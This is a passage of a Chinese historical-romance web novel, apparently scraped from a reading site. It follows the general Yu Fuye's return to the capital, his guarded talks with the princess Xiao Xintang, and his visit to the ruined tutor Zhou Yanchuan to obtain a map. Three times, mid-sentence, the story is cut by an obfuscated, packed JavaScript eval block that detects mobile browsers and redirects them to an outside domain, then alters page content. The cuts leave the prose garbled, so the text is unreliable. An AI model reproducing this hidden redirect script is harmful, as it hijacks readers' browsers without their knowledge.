长街一头传来人言渐响,一行人马自城门入内,为首者身形魁梧有力,一身战甲反射着阳光,赫然是主帅萧闻松,其后分为两列行进,俱是充斥着铁血气息的将士。 两边百姓的声音顿时高涨起来,萧新棠还听见隔壁屋子有女子大喊着“萧将军”,俨然是她哥哥的爱慕者,看着那好似不要钱的鲜花锦帕,看来她攥着的鲜花没有用武之地了,不用操心哥哥的终身大事了。 明明将士都穿着铠甲,看着都差不多,但萧新棠偏偏一眼,便看到了队伍中的一人。 那人一身银甲,身量很高,容貌不俗,分明气质让人感受不到攻击性,五官中却又带着几分野性,让她一瞬间,想到了照京城外的风,是自由的,也是温和的。 萧新棠不自觉得靠近窗台,她正观察着,银甲将军倏然抬头,惊得她一缩手,指尖的一束花便掉了下去。 此处离队列虽近,但不经抛掷,鲜花还是落不到那边的,忽然,只见那人一个起落,长枪出手,勾着那束鲜花入怀,一时边上的尖叫声此起彼伏,就连落棋也在惊呼。 只见他握着花束,低头嗅闻,萧新棠竟无端觉得有些紧张,那人好似拿的不是花束一般,在队伍将将走过客栈,他又回头一顾,冲着这边勾起唇角一笑,同时说了几个字。 早晨的阳光不燥,她能清楚看到那人浅色的瞳孔里,藏着星星点点的笑意,几乎遮掩不住,给她一种,似是见到了许久未见的人一般的感觉,她不懂唇语,却莫名听到了那人所说的话,他在叫她的名字。 一行人马过了长街,原地的百姓四散开来,只余馥郁花香余味不散,眼前一手摇晃,萧新棠回过神来,看着对面的落棋。 “小姐,你刚刚怎么了,该不会是看上那位将军了吧?”落棋打趣道。 萧新棠收回思绪,挑唇笑道:“与其说是我看上他,倒不如说他看上我了,那一手接花的功夫,街上人可都看着呢。” “走吧,回府等哥哥他们。” 萧新棠戴上帷帽,沿着门口往外走。 她能够确定,那人便是虞赋野,那个命运的变数,她正愁着自己如何打探,却不想这人直接表现出与她相识的神态,那她便以不变应万变,等着他上门求见,已经到京城的人,总不能跑了。 落棋还喃喃自语,“确实哎,那小子好像真的爱慕小姐,独独只接了小姐的花……哎,小姐等等我!” 她连忙收拾花篮跟上自家小姐。 * 队伍中的将士都看到虞赋野接花的那一段,平素沉默寡言的小将,刚刚连轻功都使出来了,一看就是见着心上人了。 钱虎和老吴一对眼,露出心照不宣的笑容,调侃道:“方才那抛花的女子便是你的心上人吧,好小子,订得起那处的人,家里都颇为富裕,你小子该不会恋上的是谁家小姐吧?” “是啊,我们虽然没怎么看清,光是看那身影,赋野心上人就是个大美人呐。” 后头的弟兄们也在起哄,“难怪虞哥还说要挣些军功、混出名头才敢娶妻,这要是普通人可配不上啊。” “哈哈哈哈,就是就是。” 虞赋野攥着手中的花,也是任由他们打趣,他的心上人确实是貌美又娇贵,是这个世间独一份的。 萧闻松在前头听着也是心中畅快,快到宫门口的时候众将自觉噤声,纷纷下马卸下兵器,跟着主帅入内。 虞赋野抬头,看着宫阙巍峨庄严,眸中浮现一丝趣味,虽是异世,皇权的象征却都大同小异,只是他上一次入宫时,还是能够携带佩剑的镇远侯,如今倒变成了一介小将,也算是感受到了命运的无常。 到了午间,萧新棠一子落定,黑棋与白棋在棋盘上焦灼征战,难舍难分,门外传来了车马声。 她带着众人前去,果不其然,在父亲和哥哥身后看到了虞赋野。 萧新棠只是轻轻一瞥,便收回视线,兀自与父兄叙话。 “好些年没见,棠儿长高了不少,还认得哥哥吗?” “自然认得,边疆的太阳想必比京城烈了不少,哥哥吃了不少苦,脸也变黑了些。” 萧父也在一旁乐呵呵道:“那当然,松儿要是再多呆几年,指不定黑得棠儿都认不出了哈哈哈哈……” 萧闻松摸着糙了不少的脸皮,不理父亲这挤兑,黑点的将军才有威严,昨儿个可不少小姐给他丢花呢。 “棠儿,这位是哥哥手下的先锋虞赋野,在京中也没个落脚地,便先住在咱们府上。”萧闻松拍着兄弟的肩膀,热情地介绍。 “属下见过郡主。”虞赋野拱手行礼。 “赋野,这位就是我常与你们提起的,我的亲妹妹萧新棠,本朝昭言郡主,在京中可是出了名的才貌双全……” “好了哥哥,先进来吧,这还是在大街上呢。”萧新棠深知自己哥哥喜欢炫耀妹妹的德行,赶忙打住话头,拉着他进了院子,萧父在后面看得哈哈大笑。 用饭时,萧闻松他们聊着边疆的战事,萧新棠暗自思索着之后的安排,边偷偷打量着对面的人。 虽然样貌确实很好,武功不凡,卸去甲胄看着倒像个文人,但怎么看都是一个正常人,用餐十分规矩,也没她想象中的五大三粗的样子,该怎么去套话呢。 虞赋野边应和着萧家父子的话,端起茶盏时眸中闪过一抹笑意,他喜欢的人果然很敏锐,也不枉他一再暗示。 只是这自以为藏得很好,实际相当明显的注视,真是怎么看怎么惹人爱怜,活脱脱像一只牙尖爪利的狮子猫。 萧新棠不知有人在心中将她与猫儿相较,与父兄叙话后便回院子摆弄哥哥带的小玩意,待到傍晚去花厅散步,等到了那位虞将军。 赏花亭中丫鬟们布置完茶盏糕点便退下了,落棋在远处守着,萧新棠和虞赋野对坐品茗。 “郡主这里的茶果然与别处不同,清气入喉,唇香不散。”虞赋野抬眸看向面前的人道。 萧新棠疑惑了这么久,可是不想与他再打马虎眼,放下茶盏直言道:“听闻虞将军非京城人士,本郡主从未出京,你我从未见过,那日长街上将军又是如何认出我的?” 再逗下去,只怕郡主该伸爪子了,虞赋野一并放下杯盏,开口道:“此生确实是与郡主头一回见。” 萧新棠想起梦中那一世,脑中思绪渐起,冷静问道:“既是未见过,怎的将军一副对我十分熟稔的模样。” “因为我是为你而来。”虞赋野看着她眼中的防备,不禁心中有些苦涩。 他有许多借口足以应对当前状况,只是在她面前,他不想对她撒谎。 萧新棠一时有些怔愣,什么叫为她而来,莫不是真的爱慕她? 张扬的小郡主眼里的疑惑几乎化为实质,虞赋野眸中笑意渐深,进一步说道:“郡主应该不止这一个问题,是不是还想问我为何一早就知道叛徒名单,在战前便清理了细作,又为何对敌军布置知之甚详。” 萧新棠点了点头,这确实是她想问的。 “这些问题的答案,与郡主突然对贺二公子发难的缘由一样。” 原先话本中,小郡主一心爱慕贺知循,却落得个那样的下场,他原本想趁着回京,干脆一刀将那人结果了,以逸待劳,却不想入京便听说上个月的风波,那位二公子现在还在床上躺着养伤。 这可不是原书里的人会做出来的事,既然他都能来到这个世界,那有没有可能小郡主也知晓了一些事情呢? 虞赋野第一眼便确认了小郡主没有换一个灵魂,既是本人,有些事便很好理解了。 萧新棠闻言眼睛都睁大了,一样的原因? 她一时凑近了些道:“难道你也做了梦?” 虞赋野眼神一顿,原来是做梦?端看郡主对贺知循下的狠手,便知道这梦境怕是不怎么美好,也不知她梦境止于什么时间…… 眼前的小郡主即使知晓了一些未来的事,毕竟没有亲身经历,眸中仍然是一片纯然,虽娇纵但也良善,丝毫没有故事最后,那冷厉阴诡的模样。 既然他来到了这里,更要护她这一世天真明朗,莫要走上那孤冷的独木桥。 收敛思绪,虞赋野回道:“想来郡主是经过梦境知晓后事,在下的经历虽不好言说,但你我二人知道的东西应是无差,我总归是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396739|184309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会害郡主的。” 萧新棠听着这家伙说一半藏一半,颇为懊恼,自己的底子快被掏空了,偏生这人还什么都不肯说。 她便有些不依不饶地追问:“你的经历为什么不能说,你如此藏着掖着,让本郡主怎么相信你?” 虞赋野无奈一笑,要是不按她说的来,小郡主今日怕是不会让他回去的。 他只得沉声回道:“我是从……” 忽然一阵气血翻涌,内力在体内乱窜,头疼欲裂,虞赋野唇角也溢出血迹。 他面色冷淡地拿出帕子吐了一口血,止住将要说出口的话,端起茶盏灌了一口清茶冲刷血腥气,伸出的右手还有些微颤抖。 他继续抬眸,温和地看着萧新棠说道;“郡主,这便是在下不能说的缘由,还望郡主体谅。” 萧新棠呆呆的看着眼前人,身着黑色劲装的男人放松地坐着,唇角还有些微血色,刚刚那一遭连她都被吓到了,懂了他的言下之意,再说下去,可能会死。 只是这说得好好的突然吐血,他却十分平静,彷佛受伤的另有其人一般. 她并非没见过血,京中背地里的脏事不少,被打死的奴仆血肉模糊也并不少见,但萧新棠却能深刻感受到,这人的异样。 无论是吐血还是怎样,他眼里只有漠然,他并不在乎自己的性命,应该说他对于一切事物都好似不在意。 只是…… 萧新棠定定地与他对视,心道,这家伙今天的表现,倒像是在乎她一般。 她深吸一口气,收回乱跑的思绪,开口道:“行,我知道你的意思了,不能说便不说了,免得明日传出来,说今日刚面圣的将军在我萧府吐血而亡了。” 话语虽然刻薄,但虞赋野听出来其中暗含的担心,神色更加柔和,小郡主果然是很心软的人。 萧新棠莫名觉得这人的眼神怪怪的,但又说不出哪里不对,便也不管了,继续说道:“你的来处我不管了,但你必须说清楚接近萧府有什么目的!” 一个有着不一般来历的人,光是看这一身本领就不像能屈居人下的样子,这样的人若无目的,怎会选择去哥哥手下从军呢? 又与哥哥交好,还来接近她,莫不是心怀不轨。 “郡主这一问话,在下早就回应了,我是为了郡主而来,进入定西军,也是想改变原本郡主兄长战败的命运,与萧将军交好除了一同杀敌外,也是想早日见到郡主。”虞赋野不紧不慢地回道。 不待萧新棠开口,他继续说道:“至于接近郡主,虽然我确实对郡主心生爱慕,但另一缘由,则是我与乃是命魂相系的关系。” “命魂相系?什么意思?” “若郡主身故,在下也会死,若在下身死,郡主则不受影响。”虞赋野又吐了一口血。 萧新棠倒吸一口凉气,一时心底有些惊讶,真如此人所言,那岂不是说他一个前途无量的将军,实则性命掌握在她手里,她能决定他的生死,却不受他的影响。 脑子一团乱麻的萧新棠根本就没注意到他的前一句,只觉这样安排对虞赋野似乎有些不公平。 虞赋野乐意见得小郡主这样想,以爱情为引,萧新棠只会越发防备他,当他交出自己最大的弱点时,心软的小郡主反而不好再防着他。 “你、你这样一说,可有什么证明的法子?”萧新棠接着说道。 “事关生死,在下自不敢胡言,只是目前确实难以证明,这些事情都是如郡主一般,我在梦中知晓的。”虞赋野唇角又渐渐泛出血色。 萧新棠左右一看,只得掏出自己的手帕递给他。 虞赋野双眸略微睁大,颤抖的手指接过手帕,触感十分柔软,他开口道:“多谢。” 刚刚还游刃有余的青年,接了帕子反而露出了些无措的神色,萧新棠看着颇为有趣。 其实她心里已经相信了几分,这人行事与言语都很相符,预知未来的事情目前也就发现他们这两人,也许其中当真有什么联系。 她开口道:“那你想如何行事呢?” 虞赋野擦净血渍,状似无意地攥住手帕,自然地放下手,再次开口嗓音略有些干涩,“在下此次进京,实则有一计可以达成双赢。” 萧新棠不和刚吐过血的人计较,好脾气地接他话茬:“什么办法?” “郡主招婿,在下入赘国公府。”虞赋野平淡地说出惊人之语。 “放肆!”萧新棠神色一冷,霎时杯盏落地,碎片飞溅,刀光闪过,一把泛着银光的匕首,瞬间架在了男人的脖颈上。 4. 第 4 章 适时,风静树止,周遭的一切似乎的安静了下来。 那放肆的男人却依旧神色不变,抬手将茶盏轻轻放下,浑然不在意脖颈处的利刃。 见此情况,元一刀刃又向内压近,隐约有血色渗出,只待一声令下,便会在瞬息间了结此人。 “萧家暗卫,功夫倒是不错。”虞赋野开口道,言中略有赞赏之意。 来去无声,气息趋近于无,若非他征战日久,敏锐性不似常人,只怕也要以为此处只有他和郡主二人。 他暗自思索,想来这名暗卫便是最后与棠儿离开京城的人,此后相伴数年,可真是,让人有些嫉妒。 内息翻涌,虞赋野强行压下,遏制住喉间涩意。 “身体不行就别勉强了,若让我再听见你说这样放浪的话,就不只是刀架脖子,威胁了事。”萧新棠拿着新茶盏,略有些得意地看向虞赋野。 边疆来的人就是不守规矩,随便向人求爱,也不嫌臊得慌。 “本郡主可不是什么人都能娶的,入赘也得有本事进我萧家的门。” 眼前的小郡主眉眼放松,一派恣意张扬,世家的精心教养的贵气凛然,眼神流动间,俱是有所依仗的傲气,像一只仰头自得的猫儿。 虞赋野爱极了她这一副骄纵自信的模样,他原先设想的,便是这样一个女子,她合该拥有最好的一切。 他垂下眼帘,唇边溢出一声轻笑,手指回缩,开口道:“只可惜,于我而言,暗卫功夫还是差了些。” 话语间,衣袂翻飞,虞赋野指尖一挑,叶片飞刺身后之人,回避间掌风微妙,元一刀尖横贯,迅即刺来,日光照射刀片,反射入眼。 虞赋野等待的就是这一刻,他侧仰回身一探,石子击中元一手腕,匕首脱手,二人拳风对撞,黑色劲装之人未离桌边,暗卫却直接倒退出去,支撑不住半跪在地,吐出一口鲜血。 萧新棠还未看清男人的动作,情势便发生了倒转,见元一还要起身再来,她连忙出声阻止:“好了,你打不过他,回去歇着吧。” “郡主……”元一还想挣扎。 “他要真有企图,先前早就下手了,左右你也不是对手,元二,带他回去。” 一道黑影闪出,扛着元一离开。 萧新棠瞥了一眼站着的人,顺手给他空了的杯子续上水。 虞赋野眼眸柔和一瞬,二人又坐回原位。 “我家的暗卫打不过你,你有什么话就直说,没必要如此激怒我。”萧新棠一手托腮,有一搭没一搭地说着话,目光落在对面的人身上。 “方才言语出自在下真心,并非虚言。”虞赋野认真的回道。 萧新棠动作一顿,注意到他的眼神,只是觉得有些不可思议,“真心?见个两面便算真心,那世上的情爱未免太过虚假。” “郡主不信?” “你有哪些地方可以让人相信呢?来历不明我也不逼问你,你的法子我不会同意,本郡主还没沦落到要靠嫁人去理清你的身份。” 茶水渐凉,场面一时有些滞涩。 虞赋野心下有些沉闷,于他而言,棠儿是他一心喜爱之人,而对于这个世界的萧新棠来说,他只是一个知道得太多的陌生人,她刚被贺知循伤过,心有防备也实属正常,鹖国已退,和亲之危暂解,他不该心急。 “郡主既不信,在下这段时间都在京城,可否有幸与郡主交个朋友,相处久了,时间自会证明我的来意。”虞赋野摩挲着手中叶片,回视道。 萧新棠挑眉,这人一招以退为进玩得相当熟练。 她眼带笑意回道,说出来的话却不怎么温和,“你早这样说不就好了,不过本郡主不交没用的朋友。” 虞赋野没有移开目光,径直接话:“那在下必会证明,对于郡主而言我是个有用之人。” “时候不早了,便不打扰郡主了,在下告退。”沁凉的茶水入喉,虞赋野拱手拜别。 萧新棠略一点头,看着那人的身影离去。 及至转角,虞赋野听见后面传来的声音。 “今日的暗卫虽不及你,但我萧家并非只有暗卫,来日你若敢对萧府下手,莫说做朋友,我必会亲手取你性命。” 萧新棠的话语中透着冷意,虽然有共同不可知的经历,若将来成为仇敌,她也不会有丝毫手软。 四月的京城已有些热意,暖融的西风吹拂发丝,停住的男人背对她,挥了挥手,转身已不见背影。 萧新棠看懂了他的意思,树影摇动间眸光流转,莫名地笑了一声,边上的小橘跳上石凳,伸出爪子舔毛。 萧新棠一把抱起,念念叨叨,“小猫小猫,你说说,那人说话有几分真呢?” 小橘有些不耐,直接蹬腿跳开,惹得她一阵气闷。 “臭猫,今晚就让落棋不给你吃鱼干了,小白眼狼。” 花树下,少女追着猫儿,微风拂面,一派闲适安逸。 * 彼时,离开主院的虞赋野并未回到将军安排的院子里,而是出了大门,离开了萧府。 崇德巷街道狭长,位于照京城西南边,地租便宜房屋密集,还有无数个低矮的草棚混杂其中,空气中也漂浮着腐烂的味道。 虞赋野戴着斗笠,在一处普通的草棚前落下,上前敲门。 门内响起一阵咳嗽声,撕心裂肺,门缝处也隐隐透出些怪味,却许久不见人来开门。 边上的住户探出头来,有些发怵地看着虞赋野,小声说道:“这位爷,您别敲了,这痨病鬼也就剩半条命吊着,平日里都不见人,外头天塌了,指不定还不出来逃命啊。” 虞赋野瞥了一眼,边上的人虽面带惧色,眼底却很平静,不似巷口处住户一般惊慌,他一身衣着虽有遮掩,布料与此处百姓打扮还是有些分别,此人明显识得,还故意阻拦,想必与屋内人关系非同一般。 思绪流转间,他动作未停,停下手不再敲门,而是直接推开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396740|184309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了摇摇欲坠的木门,身旁人正待出手,里头传来声音: “小王啊,且去吧,这里不用你了。” 王疃身侧手指微动,犹豫一瞬,最终回到了自己的屋子里。 虞赋野进屋后,径直坐在了唯一的一张椅子上,入目处没什么物件,一桌一椅一床,桌上只有三只破碗,碗里茶水混浊,显然难以入口。 在他打量间,床上倚着的人浑不在意来了客人,□□地躺着,花白的头发里面掺着微末黑色,成绺地四处耷拉着,面容凹陷蜡黄,俨然是油尽灯枯之态。 任谁也看不出,此人文采绝伦,曾经状元及第,官至太傅,是天下文人之表,如今却只能在一间破草屋中了却残生。 对于曾经的文坛宗师,虞赋野还算有几分敬重,不打算和他玩些敌不动我不动的试探,他站起身,踱步至床前,施然一拜,开口道:“晚辈见过周先生。” 周严川紧闭的眼皮颤抖一瞬,颊肉抽搐,却并未做出什么反应,似未听见任何言语。 虞赋野也并不在意他的沉默,直起身站在床边,目光落于一身腐朽气息的老人。 他继续说道:“传言周先生文采斐然,年过而立便成为太子之师,当时人人赞其文坛第一,皆以为先生会一路青云直上,官拜丞相,青史留名,怎料世事无常,新皇登基第二年,周府女眷回祭祖,于尚河突遇匪徒,一行人无一活口,匪首言道,此举是为报当年周先生岭城剿匪之仇。” 提及此事,床上的被子传出些许抖动,闭目的人眼眶显出湿意,可以想见那床被下的手指纂得有多用力,可即使这样,他也还是沉默。 虞赋野心中一叹,接着道:“周先生得知消息心中大悲,几欲呕血,陛下震怒,下令威武军开赴剿匪,一时尚河匪徒尽皆诛灭,百姓人人赞圣上仁德。” “却不想一日深夜,周府燃起大火,除留在礼部的周先生外,全府皆亡,府门口还留有血字,仍是那匪徒复仇,可奇怪的是,即使天鉴司出马,也未能查出凶手,经此一事周先生便上折告老,此后京城再无周家人。” 被褥的颤抖渐息,周严川这些年早已听厌了这些传闻,心中日日悔恨不已,若是他当年没有去岭城剿匪,茹儿他们也不会丧命,周家也不会垮,还有他那刚出世还未满月的孩儿…… 他不知这年轻人来这里做什么,若只是用这些话语试探,对他也无用,他早就不想活了,如今不过是苟延残喘,免得过早去那阴曹地府,惹得茹儿伤心。 屋子里又恢复了寂静。 冷不丁地,周严川的耳边又响起了说话声。 “只可惜啊,传言终究不实,世人皆以为这是匪祸,不能知晓有人藏于幕后,再如周先生一心求死,只觉世上了无牵挂,却不知有处村庄内,一名青年曾有一个名字,名曰‘周承礼’。” “你说什么!”周严川骤然睁开眼,瞪视着这个年轻人,枯瘦的手指下了死力扣着他的衣摆,眼里俱是血丝弥漫。 5. 第 5 章 “礼儿还活着?是不是,你是不是说礼儿还活着!你说话啊……”干哑苍老的声音还未说完话,便又被一阵剧烈的咳嗽打断,周严川喉间翻涌着血味,浑身颤抖,却又不肯松手。 他怕他一松开手,礼儿还活着的消息就像一场梦一样,尽皆消弭,如他这些年无数次挣扎的幻想一般,梦里阖家团圆,醒来却只有更漏点点,周身死寂昭示着惨烈的回忆,周严川的眼前似乎又出现茹儿的身影。 “不,不要走……” 眼见着周严川神情状若癫狂,虞赋野立时抬手,封住他周身大穴,强行压下他过于激动的情绪。 复又端起破碗,给他灌了一口水。 “周先生可得压着点,若一时气急攻心,先走一步,可就见不到周公子了。” 虞赋野转身放下碗,复又坐回凳子上,如今周严川被消息吊着,无需再进一步试探了。 “咳咳,好,老夫现在心绪很平和,你快说礼儿在哪?是不是还活着?他……他这些年过得还好吗?”周严川重重咳嗽几声,压抑心中焦急,尽可能温声问道。 他苍老的脸上一片焦急之色,目中情绪悲怆,指节颤抖不止,不复此前了无生机。 “他过得还行,当年周公子被匪徒刺了一刀,抛下山涧,所幸下方树丛遮挡,为一猎户所救,又送给村中一寡居妇人,那村子百姓见其可怜,都有所照拂,那孩子也是顺利长大了。” 周严川听后,神色平静下来,还好,礼儿没有遭到毒手,还能平安长大,这亦是他做梦都不敢想的好事了。 虞赋野见他神色正常,接着说道:“只可惜周公子年岁太小,只是一个婴孩,并不知道自己的身份,也不知道他还有父亲尚存于世。” 床单一时揪紧,复又散开,躺着的人声音略有些沙哑,“这样也好,他不记得……不记得才能避过这些祸事啊,我周家还能有个人活着,已是幸事,要不得太高的心愿呐……” “是吗?”虞赋野不置可否,唇间有着浅淡的笑意,目光凉薄,说出了残忍的事实。 “虽然周公子远离京城可以活命,但他不知京中深浅,下一年春闱便会与同乡人一起进京,听闻小公子相貌与周先生足足有六分相似,若是才学出众,入了世家的眼,周先生你说,那个孩子,还能活着离开京城吗?” 周严川猝然抬头,看向虞赋野。 只见昏暗的草屋里,青年撑着下巴,目光落在门口,光线透过侧脸,灰色的眼瞳里尽是冷淡与漠然,周家的灭门惨案也惊不起他一丝动容,就连来到此处,也是有着他的目的。 周严川心下凛然,此人心思深不可测,行事颇为无忌,只怕将来不是池中之物,他本不应该接话,可这也是唯一能救礼儿的人了,这么多年了,只有这个青年掌握礼儿的消息,即使他来到这里,图谋不小。 周严川一叹,那又如何呢,这人是个恶人,就算出卖良心,他也得保下周家最后一个人。 “你有什么目的就说出来吧,只要能救礼儿,只要……不伤及无辜的人,老夫什么都答应你。” 周严川本就清瘦的身形似乎更加佝偻,他终究还是把这句话说出了口,一代文坛宗师,却只能低下头求一个年轻人救儿子,唉,世事无常啊。 “周先生不用如此苦大仇深,在下没打算伤及百姓,也不想做个恶贯满盈的人,周公子我会尽力保全,今日来只是想问周先生要一份舆图。” “什么舆图?” “当年由时任剿匪大军军师的周先生亲自绘制,记录了岭城所有地形的那份山河图。” 周严川一时有些茫然,这人来此反复试探,还承诺救他的儿子,竟然只是为了要一份舆图?当初的舆图确实被他归置在其他地方,但也只是舍不得多年心血罢了,上面并没有什么值得探寻的秘密。 “你要这舆图做什么?老夫当年也细细看过,其中没有什么机关诀窍。” “这件事周先生目前不用去想,我来此只要舆图,拿到东西便不会再打扰先生。” 周严川知道青年不会说,便也不在意了,一张舆图给出去也不会伤及无辜,心下一定,指着床侧的一块地面:“左侧第三块砖,用力掀开就是了。” 虞赋野照做,砖块挪开后,一个红木盒子出现在眼前,撇去土石,他顺手打开盒子,舆图便在其中一角,四方叠好呈放着。 拿到舆图,虞赋野也不打算在此久留,面向床边一揖,“在下想拿的东西已经拿到,便不打扰先生休息了。” 言罢,他掏出一个布袋,放在桌子上。 周严川正待开口,接着听到他补充道:“这里是一些银钱,若是先生想再见儿子一面,便好好活着,也许将来某一日,你们还能父子团聚。” 屋门打开,外头的光线倾泻而入,周严川眯着眼,不顾强光刺眼,望着那个奇怪的青年离开,背影飒沓,像一把出鞘的利剑,也似不可见底的深潭,片刻后门扉闭合,又是一室昏暗。 虞赋野装好舆图,径直向着崇德巷口略去,及至一处遮蔽处,替换下一身装备,复又现身在街上。 耳边细微风声,他心下了然,想必棠儿的暗卫已经跟上来了。 要紧的事情已经处理好,虞赋野便不再遮掩身形,慢悠悠地在街上走着,时不时见着有趣的摊位停留一会儿,不紧不慢地往萧府赶。 元三从一处处屋檐掠过,心中懊恼不已,这厮好强的轻功,一出了府他就失去了踪迹,元三都打算回去请罪了,这人偏又在街上现了身,显然一早就知道有人跟着,想也知道这么长时间,有什么事早就弄好了。 就算知道这趟跟踪算是白搭了,元三也还是没有放松,突然,视线内一直漫不经心的人停在了一处店面前,抬步入内。 元三精神一震,他倒要看看这人去的是什么地方,只见他一抬头有,雕梁画柱的楼屋上,赫然写着三个字“珍玉楼”。 元三疑惑地抬头看牌匾,又低头寻摸着虞赋野的身影,他虽然不常去这些地方,但也知道这珍玉楼是京中又名的首饰铺,各家夫人小姐都喜欢来,小姐有几套头面便是这楼里做的。 只是,这虞将军初入京都,便来到首饰铺,莫非已是心有所属? 元三挠了挠头,两眼盯着下方人影,耳朵仔细听着风中传来的言语声。 虞赋野余光瞥见一边的暗影, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396741|184309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇角勾起,便不再关注,只与面前的掌柜来回说着话。 “这位公子给的图样确实好看,本店虽然能做出八九分样子,只是得从别处调些料子过来,不知公子预备几时要送出去?” 掌柜的接过图样,仔细观摩几眼后,心中不住赞叹,这位公子给的样式与京中流行的都不一样,他浸淫此道多年,都没想过海棠垂丝的发簪竟能这样制作,画出样式的人显然是个行家里手。 虞赋野也不催促,将银票放在台面上,“无妨,你只管做,用上最好的料子,若是她喜欢,以后我还会再来。” “好嘞,小的定会仔细看着,保准让公子的心上人满意。”掌柜的眼珠一转,拿走银票,乐呵呵地应承下来。 虞赋野并未否认,由小厮引着出了门。 一旁的元三一副了然的模样,急忙跟了上去。 * 是夜,萧府。 萧新棠刚从兄长的院子里出来,漫步在夜色下的花廊间,有一搭没一搭地听着元三汇报。 忽然,她脚步一顿,语气有些凉意道:“你是说,虞赋野第一天来照京,就去首饰铺给心上人打了个首饰?” 元三不明所以,只一味答道:“是。” “那你可看清首饰的模样?” “属下离得远,并未看清,只听得掌柜的夸赞图样画得好,虞将军也应承下来是他自己画的,没有反驳是送给心上人的。” “好,很好,心上人是吧,我倒要看看他有几个心上人。” 萧新棠莫名觉得心中一阵怒气,这人好巧的一张嘴,前脚刚在她面前表忠心,后脚就去珍玉楼给别人打首饰,她还真是信了邪了,真以为虞赋野说的是真话,估计连性命相连的说法也不知有几分真。 元三看着郡主怒气冲冲地回了屋,颇有些丈二和尚摸不着头脑,瞅着边上的落棋,小声问道:“落棋姐姐,小姐这是怎么了?” 落棋一脸无奈地看着这个没开窍的呆瓜,抬手摸了摸他的头:“不怪你,你还小,玩去吧。” 转身就跟着小姐回院子,留下元三呆呆地在原地思考。 回去的萧新棠并未如元三所想的那般生气,一进屋她便敛下表情,拿出床头柜子里的东西,一一比对,在一份文书的角落间,找到了“崇德巷”三个字。 指尖轻轻放下,她靠在被褥间,来回翻着过往的回忆, 据元三所说,他是在崇德巷附近跟丢了虞赋野,后头再见到他,也是在不远处,即使是元一在场,都不是虞赋野的敌手,面对一个年纪尚小,功夫还不到家的元三,他不可能没有发现有人跟踪。 明明知道有尾巴,还故意出现在这附近,崇德巷里面莫非有什么秘密…… 翻涌的回忆定住,梦境中的一串记忆在脑海中浮现。 在贺知循参与春闱那年,会试后有一人文采斐然,拿了二甲之名,所著文章在世家广为流传,却不想这人并未参加殿试,在殿试前便失踪了,据传是和一青楼女子私奔回乡,不愿继续走仕途之道,此事在当时还被传为坊间美谈。 萧新棠清楚地记着,那人失踪前最后现身的地方,便是崇德巷…… 6. 第 6 章 翌日一早,一众裁缝匠人便上门为萧府众人量定尺码,为着过几日的宫中宴会做准备,连着虞赋野一同也量了。 虞赋野原想推辞,但萧闻松直言,都是兄弟,还是他这个做主将的邀他过来住下,一应东西都得由萧府备齐。 这还只是萧新棠路过时听着的话,实则在这句话之后,她那好哥哥还放低声音,悄悄凑近虞赋野说道:“再说了,你这趟回来不是还有好事嘛……” 萧将军话音一顿,颇有些神秘,脸上挂着贼兮兮的表情,接着补充:“在京城娶个媳妇可不便宜,多攒些钱,留着娶你那心上人呐,哈哈哈哈哈。” 虞赋野坦然接下主帅的好意,心安理得地由王裁缝量着手臂,一旁的萧将军浑然不知,手下这小子心里想的,是他的亲妹妹,嘴里还没歇着,搭着兄弟的肩膀,哥俩好地招呼着。 “赋野,别不好意思,过几日就是宫宴了,给咱们办的庆功宴,得穿着最俊的衣裳去,让那些个小姐夫人都吓一跳。” 王师傅仔细地给将军们量着肩距,萧新棠在外间啃着果子,耳边还能听到她哥的碎碎念,一声又一声。 也不知边疆到底是什么风水,家里两个打仗的回来都成了碎嘴子,没人搭话自个儿也能说着半天,简直让旁人深受其扰。 丢下果核,她伸展双肩,眯着眼睛伸了个懒腰,都怪那虞赋野,这厮可恶得很,有什么话不能直接说,偏偏一步一个胡萝卜,诱得她如跟在后头的驴儿一般,就想着吃到香甜的萝卜,探寻这背后的缘由。 昨儿个晚上愣是想了一晚上,也没想起来那个与崇德巷有关的书生是谁,也没想明白这其中的关联,烦了一晚上没睡,早晨困乏得很。 落棋有些担忧地望着小姐,心中慨叹:“唉,这大少爷也真是的,偏让那小将住到萧府来,惹得小姐这刚沉寂了不久的春心,今时又动了起来,动就动了吧,结果这虞将军还早有了心上人,只留得小姐一人独自难过,夜间也没睡好,怕不是还暗自垂泪。” 落棋的目光越发慈祥,里头的心疼都快溢出来了,萧新棠揉着僵硬的脖子,莫名觉得背后有些刺人。 回头一看又只有落棋在那,摇了摇脑袋,觉着自己可能是睡得太晚,出现错觉了。 